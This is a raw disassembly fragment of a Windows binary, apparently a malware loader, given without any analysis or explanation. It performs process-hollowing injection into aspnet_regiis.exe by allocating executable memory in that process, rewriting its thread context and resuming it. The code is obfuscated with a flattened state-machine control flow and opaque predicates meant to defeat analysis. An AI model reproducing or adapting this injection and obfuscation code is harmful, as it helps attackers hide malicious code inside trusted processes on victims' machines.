call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov dword [ebp - 0x1a0], 0x367b7a2a
jmp 0x1000fa7f
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x28]
add ecx, 0x5f4afb9a
add ecx, eax
sub ecx, 0x5f4afb9a
mov eax, dword [ebp - 0x144]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x1a0], 0xc848960d
jmp 0x1000fa7f
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x74]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x1a0], 0x2c80a638
jmp 0x1000fa7f
mov dword [ebp - 0x1a0], 0x8be97a9b
jmp 0x1000fa7f
lea eax, [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x1a0], 0x94a86e89
jmp 0x1000fa7f
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1a0], 0x83d020d0
jmp 0x1000fa7f
mov eax, dword [0x10089d1c]
mov ecx, dword [0x10089d18]
mov edx, eax
add edx, 0x9f95714d
sub edx, 1
sub edx, 0x9f95714d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdefadbf2
mov ecx, 0xf7560a55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov eax, dword [0x10089d1c]
mov ecx, dword [0x10089d18]
mov edx, eax
add edx, 0xf310c640
sub edx, 1
sub edx, 0xf310c640
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdefadbf2
mov ecx, 0xaebb3afb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a0], eax
jmp 0x1000fa7f
mov dword [ebp - 0x1a0], 0x3e20463
jmp 0x1000fa7f
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x14c], eax
mov dword [ebp - 0x1a0], 0xd610aabc
jmp 0x1000fa7f
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xfc]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x1a0], 0x25f9053a
jmp 0x1000fa7f
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x20]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x1a0], 0x46611208
jmp 0x1000fa7f
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x1a0], 0xb281f2b3
jmp 0x1000fa7f
mov eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xd8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1000cec0
add esp, 8
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x1a0], 0x7c8345e7
jmp 0x1000fa7f
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x1a0], 0x32b3f605
jmp 0x1000fa7f
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x1a0], 0x4bd3b9e
jmp 0x1000fa7f
mov dword [ebp - 0x1a0], 0xf7560a55
jmp 0x1000cfd0